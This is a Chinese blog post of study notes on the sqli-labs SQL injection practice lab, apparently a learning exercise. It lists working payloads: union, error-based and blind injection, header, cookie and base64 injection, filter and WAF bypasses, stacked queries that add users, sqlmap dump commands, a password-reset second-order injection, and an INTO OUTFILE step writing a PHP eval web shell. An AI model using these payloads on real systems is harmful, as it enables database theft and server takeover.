记录sql_labs靶机练习


先上图 大佬总结

PAGE-1(Basic Challenges)

一、GET 篇#

1.2 最基本方法#

  1. 判断注入类型 http://127.0.0.1/sqli-labs/Less-1/?id=1正确返回 http://127.0.0.1/sqli-labs/Less-1/?id=1'出现报错显示 http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1--+ 判断字符型和数字型注入的方法 这道题感觉好像字符型可以,一般情况下,多是字符型注入

  2. 猜测字段数

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 1--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 2--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3--+
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4--+

字段数为 4 的时候,出现报错Unknown column '4' in 'order clause' 所以字段数为 3 3. 确定显示的字段顺序 因为 sql 语句的执行结果只有第一行会被回显在页面上,所以记住要把前面的值定为空,就会没有显示,这样union的语句的结果才能显示出来 http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,3 --+ 如图 1.1 所示 可以看到,2,3,回显成功,所以可以在此处注入 4. 获取当前数据库 http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,database(),version()--+获取当前数据库和数据库版本 通过内嵌 sql 查询语句得到所有数据库:http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+ 如图 1.2 所示 5. 获取数据库表名 http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+ 6. 获取表中的字段名 http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

3-4.#

  • 不同于 1 和 2 的',这是分别采用是')")闭合。。。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
  echo 'Your Login name:'. $row['username'];
  echo 'Your Password:' .$row['password'];
}else{
  print_r(mysql_error());
}

5.双注入,基于单引号的字符型注入(报错注入,布尔注入,时间延迟注入)#

看到图,还是有点懵 😳,you are in..... 没想到,这里直接可以使用 sqlmap,一把梭哈。。。sqlmap 真是强啊!

sqlmap -u 127.0.0.1/sqli-labs/Less-5/?id=1 --current-db
sqlmap -u 127.0.0.1/sqli-labs/Less-5/?id=1 -D security --tables
sqlmap -u 127.0.0.1/sqli-labs/Less-5/?id=1 -D security -T users --columns
sqlmap -u 127.0.0.1/sqli-labs/Less-5/?id=1 -D security -T users -C id,password --dump

双注入/二次查询注入:一个 select 语句嵌套另一个 select 语句,里面的 select 语句先执行再执行外边的 select 语句。

concat():连接两个语句
rand():随机输出一个小于1的小数
floor():向下取整
group by():把结果分组输出
count():汇总数据函数
  • 手工时间延迟型注入 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+ 延迟回显加载成功 _ 爆数据库名长度?id=1' and if(length(database())=8,sleep(5),1)--+ _ 爆数据库名的第一个字母id=1' and if(left(database(),1)='s',sleep(5),1)--+ _ 爆数据库名的第二个字母id=1' and if(left(database(),2)='se',sleep(5),1) --+依次类推,得出数据库名为security _ 爆表名id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='u',sleep(5),1) --+,依次类推,爆出表名的所有字母 > limit 的例子---查询 8 条数据,索引从 5 到 12,第 6 条记录到第 13 条记录 select _ from t_user limit 5,8; _ 爆字段?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+ * 查看对应字段内容 ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+通过 id 进行排序

  • 布尔型注入 正确会回显,错误没有回显:若数据库的搜字母小于 t,则有回显,反之,则没有回显 id=1' and left((select database()),1)<'t'--+ * 接下里的步骤和手工时间注入差不多,只是少了个 if 判断语句

  • 报错注入 主要可以分为三类:通过 floor 报错,通过 updatexml 报错,exp 报错 _ floor:and (select 1 from (select count(_),concat((payload),floor (rand(0)_2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符 查询表名:id=1' and (select 1 from (select count(_),concat((select table\*name from information_schema.tables where table_schema='security' limit 0,1),floor (rand(0)\_2))x from information_schema.tables group by x)a)--+

    • updatexml:`and updatexml(1,payload,1) 同样该语句对输出的字符长度也做了限制,其最长输出 32 位 并且该语句对 payload 的反悔类型也做了限制,只有在 payload 返回的不是 xml 格式才会生效 * exp

6. 双注入,基于双引号的字符型注入#

  • 相较于 less-5,这里使用了"闭合....

7.字符型注入,基于单引号变形注入之导入文件#

  • 导入文件这块,还是很陌生。。

    • id=1'))--+正常回显,得到闭合方式

    • id=1')) order by 3得到字段数

    • 导入文件步骤:1.知道数据库的路径。。2.

    • 输入id=-1')) union select '','',3 into outfile "/var/www/html/sqli-labs/1.txt"--+ 但是此处输入 sql 语句后,报错:权限不允许。

    • 注意:mysql 数据库的配置

      • secure_file_priv(设置默认为 NULL,限制导入导出)

      • mysql5.0.x 版本以下默认可导出导入。

      • secure_file_priv 要设置为空。。

      • 然而设置我,我还是还是没有权限

    • 还是无法导出。。。。

    • 此处还可以导出一句话木马 1’)) union select 1,2,"<?php @eval($_POST[value]);?>" into outfile '/var/www/html/1.txt' 但是我还没有实现。。。。。

  • 时间注入也是可以实现。。id=1')) and if(left(database(),1)='s',sleep(5),1)--+

  • 布尔注入也是可以实现..id=1')) and left(database(),1)>'t'--+

  • 报错注入也可以实现。。1')) and (select 1 from (select count(*),concat((select version()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

8.盲注入,基于单引号的字符型注入#

  • 输入1',正常显示;1'--+,没有正常回显,也没有报错提示,所以排除报错注入。。

  • 时间延迟注入

    • 爆库名:id=1' and if(left(database(),1)='s',sleep(5),1)--+

    • 爆表名:id=1' and if(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='u',sleep(5),1)--+ 这里需要注意,mysql 显示的数据库表格中的数据是从下往上数的。

    • 可能是靶机的问题,在爆字段名的时候发生了问题,当爆第二个字段名时,payload 无效

  • 布尔注入

    • 爆库名:left():id=1' and left((select database()),1)='s' --+ ascii():id=1' and ascii(substr(database(),1,1))=115--+

    • 爆表名:id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='u'--+ ascii()法也可以。。。

9.盲注入,基于单引号的时间延迟注入#

10.盲注,基于双引号的时间延迟注入#

  • 和上文中的时间延迟注入差不多。。。

二、POST 篇#

11.基于单引号的 POST 注入#

  • 方法一:sqlmap 一把梭哈

    step1:sqlmap -r ["请求头文本"]  //测试是否存在注入
  step2:sqlmap -r ["请求头文本"] --current-db //查询当前数据库
  step3:sqlmap -r ["请求头文本"] -D ["数据库名"] --tables //查询当前数据库的所有表
  step4:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列
  step5:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容
  • 方法二: =admin'&passwd=admin&submit=Submit,回显报错。 =admin'--+&passwd=admin&submit=Submit,登陆成功 _ 判断字段个数:=admin' order by 2--+&passwd=admin&submit=Submit回显报错。最多两个字段 _ 爆数据库:=-1' union select version(),database()--+&passwd=admin&submit=Submit,得到数据库和版本的回显 接下来的步骤就和上篇的 get 注入方法一致了。

  • 方法三: 因为有报错回显,其实也可以选择通过报错注入。 _ 爆库名:=1'and (select 1 from (select count(_),concat((select database()),floor (rand(0)\*2))x from information_schema.tables group by x)a)--+&passwd=admin&submit=Submit,依然回显正常,得到库名,接下来的步骤就和上篇的 get 注入方法一致了。

12.基于双引号加单括号")的 POST 注入#

  • 和上文提及步骤一样

13.基于')的 POST 盲注入#

  • 闭合判断,通过order by判断字段名,回显报错。。 =admin')--+&passwd=admin&submit=Submit登陆成功后没有回显,所以不能通过 union 关键字注入,但是会报错,所以存在报错注入

  • 报错:and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+&passwd=admin&submit=Submit爆库成功。。接下来的步骤就不赘述了

  • 时间注入:=admin') and if((select database())='security',sleep(2),1)--+&passwd=admin&submit=Submit

  • 布尔注入:=admin') and (select database())='security'--+&passwd=admin&submit=Submit

14.基于"的 POST 注入#

  • 和 13 题一样,登陆之后没有回显,但是会报错,解题步骤也和上面一样

15.基于单引号的无回显盲注入#

  • 由于没有错误回显,所以无法使用报错回显

    • 方法一:时间延迟注入

    • 方法二:布尔注入

16.基于双引号")的无回显盲注入#

  • 和 15 题的思路一样

17.基于 password 的更新查询 POST 报错注入#

  • 尝试闭合字符,都不能成功,查看PHP源码,存在以下的过滤机制

function check_input($con1, $value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysqli_real_escape_string($con1, $value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
  • substr:分割前 15 个字符

  • magic_quotes_gpc():

    总结如下: 1.对于PHP magic_quotes_gpc=on的情况, 我们可以不对输入和输出数据库的字符串数据作 addslashes()和 stripslashes()的操作,数据也会正常显示。 如果此时你对输入的数据作了 addslashes()处理, 那么在输出的时候就必须使用 stripslashes()去掉多余的反斜杠。 2.对于 PHP magic_quotes_gpc=off 的情况 必须使用 addslashes()对输入数据进行处理,但并不需要使用 stripslashes()格式化输出 因为 addslashes()并未将反斜杠一起写入数据库,只是帮助 mysql 完成了 sql 语句的执行。

stripslashes():删除由 addslashes() 函数添加的反斜杠
ctype_digit():判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string():转义 SQL 语句中使用的字符串中的特殊字符。
intval():     整型转换
  • 这里好像用不了 floor 取整报错方法,选择使用 updatexml 函数:admin'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+成功回显版本

    • 爆库名:admin'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+,回显库名成功

    • 爆表名:admin'and updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+回显表名成功

    • 爆列名:=admin'and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('USER','CURRENT_CONNECTIONS','TOTAL_CONNECTIONS')),0x7e),1)--+这里的 column 列名要进行筛选,使用and not in语句。。回显成功

    • 爆值:admin'and updatexml(1,concat(0x7e,(SELECT group_concat(CURRENT_CONNECTIONS) from users),0x7e),1)--+ 这里出现了问题,如 17.1 图所示 admin'and updatexml(1,concat(0x7e,(select user_id from(SELECT user_id from users where username='admin')mingzi),0x7e),1)--+ 还是报错..... 如图 17.2 所示

18.基于错误的用户代理,头部 POST 注入#

  • 很不一样,这道题在主页给出了我的 IP 地址。。。如图 18.1 怎么办呢?返回了我的 UA,所以注入可能在这里 看 PHP 源码,对 uname 和 passwd 都进行了过滤。

    为何 host 头存在注入,这个也比较少见,但是知道只要和数据库有交互就有可能存在注入......可以看到 uname 和 passwd 都进行了过滤,这里有个注意点,在平常的渗透中,当输入点没有注入,可以想想是否在其他地方有注入,程序员对于普通用户的输入点过滤严格,但是其他地方却没有进行过滤,导致了注入的发生,也是需要我们多多注意

if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysqli_query($con1, $insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysqli_error($con1));
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}

注意:这里不能使用--+来注释后面的内容,导致插入语句不完整。。。构造前后闭合。。。

  • 爆库:User-Agent: 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

  • 爆表名:User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1 后面步骤不赘述了

19.基于头部的 Referer POST 报错注入#

  • 回显提示:

  • 从源码看出,insert 语句中向数据库插入了 referer,所以注入点改为 referer,和 18 题注入方法一样。。。

20.Cookie injections - Uagent field - Error based (基于错误的 cookie 头部 POST 注入)#

  • 好吧。果然 page-2 的就是不一样,sqlmap 居然跑不出来,只能手工了。。。。 原来是 cookie 注入,这里 sqlmap 使用时,要多加-cookie参数 sqlmap -u /sqli-labs/Less-20/index.php -cookie "uname=admin" -level 3

  • 先看 php 源码,有点长,有点复杂

    • setcookie(name(cookie 名称),value,expire(有效时间),path,domain,secure)函数:向客户端发送一个 HTTP cookie

    • mysqli_fetch_array():函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。 注释:该函数返回的字段名是区分大小写的。

    • header() 函数:向客户端发送原始的 HTTP 报头。

    • 通过 burp 抓包,可以发现在输入 uname 和 pass 输入之后,会向客户端发生 cookie 值。点击 submit 之后,显示信息。。

  • 源码中可以看到,没有对 cookie 进行任何过滤,就和数据库交互,所以存在 cookie 注入。。

    • 爆字段名-->爆库名-->爆表名-->爆字段名-->爆值,,详细操作和 less-1 的注入类似。

  • 和 20 题不同的是,这里的 uname 的值是要进过 base64 进行解密后才和数据库进行交互,所以需要把注入语句进行 base64 加密。。 部分源码如下:

echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);

$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
  • sqlmap 使用脚本新用法:

    • sqlmap -u url --tamper /usr/share/sqlmap/tamper/base64encode.py --cookie="uname=YWRtaW4%3D" -level 3

  • 手工注入

    • 这里--+#不能使用,所以选择用and '1'='1来进行闭合

    • 报错注入:admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 base64 后:YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICcxJz0nMQ==注入成功。。

    • 成功爆库:admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1 接下来的步骤不再啰嗦

  • 相对于 21 题,只是通过双引号闭合

PAGE-2(Advanced Injections)#

23.基于错误的,过滤注释的 get 型#

  • updatexml 报错注入成功,那这道题的考点呢? 部分源码

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

对 id 进行了#--的过滤。。可以通过and '1'='1来闭合即可

24.二次注入#

  • 原理:

    • 第一步:插入恶意代码,向数据库插入数据的时候,虽然对特殊字符串进行了转义,但写入数据库的时候还保留了原来的内容(不管有没有发生转义),使得数据本身已经包含恶意内容

    • 第二步:引用恶意数据,恶意数据写入数据库中,在利用查询读取恶意数据,没有检查,就会造成 SQL 的二次注入

  • 源码

# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以发现,这里对 usename 没有进行任何的过滤,所以通过构造 payload 可以修改任意的密码

构造 payload admin'# 即可闭合 sql 语句 使得 password=$curr_pass 不起作用 首先创建用户 admin'# 登录此用户,之后修改密码,修改后尝试登录 admin 用户,发现登录成功。

25.过滤了含有orAND字符串,替换为""(空值)#

  • 源码

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}
  • 方法一:双写绕过

    • 延迟时间注入:id=1' aandnd sleep(10)--+

    • 有必要说一下这题在爆值的时候对 password 进行了处理,查询 password 列,回显 no column passwd,所以双写 or 绕过 同理 information 也是。

  • ?id=-1' union select 1,2,database()--+没有关键字,可以成功注入

  • or可以用||替换,有一个为真则为 1,可用在用于盲注判断 and可以用&&替换。

26.过滤空格和注释的一般注入#

  • 部分源码

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
空格和注释无法使用
绕过空格的几种
%09 tab键
%0a 新建一行
%0c 新的一页
%od return功能
%0b tab键垂直
%a0 空格##这里无法识别
() 又是也可以代替空格
+   也可代替空格


用%0a替代空格使用,用&&(%26%26)替代AND使用
构造payload: 0'%0aUNION%0aSELECT%0a1,version(),database()%26%26%0a'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要将空格和and绕过 那么实现就简单了
or和and 很好过滤,注释过滤了就使用永真闭合,

26a.过滤空格和注释的盲注#

  • 没有报错显示,可以使用时间延迟注入和布尔注入。

27.基于单引号闭合,过滤空格,注释,Union 和 select 等关键字#

  • 因为规定的字符格式,所以可以选择不同的大小写搭配仍可绕过

  • 总结下

    • 冒号可以做闭合用, %00 用来截断 这样和注释有相同的含义,这下绕过就多了:注释,分号闭合-冒号%00 截断,恒等式闭合

    • 大小写绕过,双写绕过

  • 爆库:?id=0'%0aUnioN%0aSeleCT%0a1,version(),database();%00回显成功

27a:#

  • 相比 27 题,只是闭合符号不同,这里是双引号,上一题是单引号

28.#

  • 只是过滤了 union 和 select 不能再一起使用,仍然没有限制大小写绕过

  • 针对大小写防止,可以通过函数进行大小写转换,然后过滤

    • 盲注:0')||left(database(),1)='s';%00

29.获取-基于错误的缺乏证据的不匹配-在 web 应用程序前面有一个 WAF#

服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
Explain:apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
  • 源码:有多了两个文件:hacked.php--负责报错页面,login.php--担任一个 waf 的角色。

    • id=1&&id=0'union select 1,2,3 --+两个 id 参数,第一个 id 传给 jsp 服务器,第二个传给 php 服务器,不会被过滤,实现注入

30.获取-基于错误的缺乏证据的不匹配-在 web 应用程序前面有一个 WAF(盲注)#

  • 时间盲注:1" and if(left(database(),1)='s', sleep(5),1)--+

  • union 注入:id=1&&id=0" union select 1,2,database()--+

31.获取-基于错误的缺乏证据的不匹配-在 web 应用程序前面有一个 WAF#

  • 发现")报错(和 29 题相同):id=1&&id=0") union select 1,2,database()--+

  • 有报错显示,所以存在报错注入:id=1&&id=0") and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

32.bypass Addslashes()---宽字节注入#

  • 宽字节注入原理: GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象,即将两个 ascii 字符误认为是一个宽字节字符。

  • id=-1%df' union select 1,2,database() --+回显成功

  • 爆列名:?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+注意:表名-user 需要使用'',这里可以使用 0x 的绕过,并且使用 user 的十六进制,即 0x7573657273 `

33.和 32 一模一样。。。。。#

34.POST 型的 bypass Addslashes()#

  • uname=-1%df' union select 1,database()--+&passwd=aa&submit=Submit和 get 绕过一样

35.bypass Addslashes()-整数#

  • 这里不需要闭合的符号。整数型,

  • -1 union select 1,2,3--+

36.GET 型的绕过MySQL_real escape_string#

  • 先来看看这个函数

下列字符受影响:
  \x00
  \n
  \r
  \
  '
  "
  \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
而这个函数可以通过以下语句绕过
aaa' OR 1=1 --
  • 0%df' union select 1,2,database() --+成功注入

37.POST 型的绕过MySQL_real escape_string#

  • 和注入一样。。uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit

PAGE-3(Stacked Challenges)#

38.层次化查询,--也叫做堆叠注入#

  • mysqli_more_results() 函数:检查一个多查询是否有更多的结果。

  • mysqli_multi_query()函数:执行一个或者多个查询语句

  • mysqli_store_result()函数: 转移上一次查询返回的结果集

39.Stacked Query Injection#

  • 整数型的堆叠注入:id=1; insert into users(id,password,username) value('17','a','a')

  • 部分源码

sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


   /* store first result set */
   if ($result = mysqli_store_result($con1))
  {
       if($row = mysqli_fetch_row($result))
      {
           echo '<font size = "5" color= "#00FF00">';
           printf("Your Username is : %s", $row[1]);
           echo "<br>";
           printf("Your Password is : %s", $row[2]);
           echo "<br>";
           echo "</font>";

40.GET-BLIND - based - String - stacked#

  • id=1');insert into users(id,password,username) value('18','b','b')--+

41.BLIND based - Intiger - Stacked(整数)#

  • id=1;insert into user(id,password,usename) value('19','c','c')--+

42.POST 型的堆叠注入#

  • sqlmap 一把梭哈:sqlmap -r /etc/sqlmap/post42.txt -level 3

  • 手工注入

    • 源码中对 username 进行的 mysqli_real_escape_string 函数的转义,但是对 password 没有任何过滤 所以这参数 password 这里存在注入点,

    • 堆叠注入--payload:0';create table aaa like users--+,成功在 mysql 数据库中建立了名为 aaa 的表

43.POST 型的堆叠注入#

  • 相比 42 题,闭合符号变成了')

44.POST - Error based - String - Stacked -Blind#

  • 相比于 42 题,44 没有报错显示

  • login_password=b';insert into users(id,password,username) value('20','cc','cc')--+

45.POST - Error based - String - Stacked -Blind#

  • 相比 44 题,闭合符号变成了')

  • payload:login_password=b');insert into users(id,password,username) value('20','cc','cc')--+

46.ORDER BY-Error-Numeric#

  • 对于 sort 参数的原理有点陌生,贴出源码

$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
  • 当输入 sort=4 时,报错显示,没有相应的字段,存在报错注入

  • payload:sort=4 and updatexml(1,concat(0x7e,(select version()),0x7e),1)

47.ORDER BY Clause-Error-Single quote#

  • 相比于 46,这里通过'来闭合

  • 基于 procedure analyse 注入 sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

  • 基于 update 小 xml 的注入 sort=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+

48.ORDER BY Clause Blind based#

  • 布尔盲注 if(ascii(left(database,1))=115)

49.ORDER BY Clause Blind based#

  • 时间盲注:sort=1 and if(left(database(),1)='s',sleep(1),1)--+很奇怪,时间延迟注入会一直延迟访问。。。。

50.GET - Error based - ORDER BY CLAUSE -num ...#

  • 报错显示:sort=4 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+

51.GET - Error based - ORDER BY CLAUSE-Stri ...#

  • 相比 50 题,'号闭合

  • 报错注入:sort=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+

52.GET - Blind based - ORDER BY CLAUSE -num ...#

  • 没有错误回显

    • 时间延迟注入:1 and if(left(database(),1)='x',sleep(4),0)--+

    • 布尔注入:1 and left(database(),1)='x'--+ 1 and ascii(substr(database(),1,1))=115--+

    • 源码中使用了 mysqli_multi_query()函数:可能存在堆叠注入 payload:sort=2;create table ff like users--+成功创建

53.GET - GET - Blind based - ORDER BY CLAUS-Stri ...#

  • 一个问题:为什么 sort 设置为任何整数,页面的表格没有变化,且正常回显第一页呢? 这里可以看成只有正确和错误,所以这道题做法基本就是盲注了

    • 时间延迟注入:sort=2' and if(length(database())=1,0,sleep(5))--+

54.GET-challenge-Union-10 queries allowed-Variation 1#

  • 基本注入步骤即可

55.GET-challenge-Union-14 queries allowed-Variation 2#

  • 闭合尝试---最后发现是)闭合 然后就是基本的注入步骤

56.GET-challenge-Union-14 queries allowed-Variation 3#

  • 刚开始尝试--1"--+发现能够正确回显,但是 union 语句使用,不能显示。 阅读源码才知道是')闭合。。那么为什么1"--+会正确回显呢?

PAGE-4(Challenges)#

57.#

  • "闭合方式,然后就是基本注入步骤

58.GET-challenge-Double Query-5 queries allowed-Variation 1#

  • 双注入没有用到,选择了报错注入

    • 双注入(基于 floor):

59.GET-challenge-Double Query-5 queries allowed-Variation 2#

  • 没有闭合符号的报错注入

60.GET-challenge-Double Query-5 queries allowed-Variation 3#

  • ")闭合方式。报错或者双注入报错即可

61.GET-challenge-Double Query-5 queries allowed-Variation 4#

  • '))的闭合方式,报错或者双注入报错即可

62. GET-challenge-Blind- 130 queries allowed -variation 1#

  • 以后的几题都是盲注,需要使用脚本自动爆破注入。

posted @   kzd的前沿思考  阅读(38)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示
主题色彩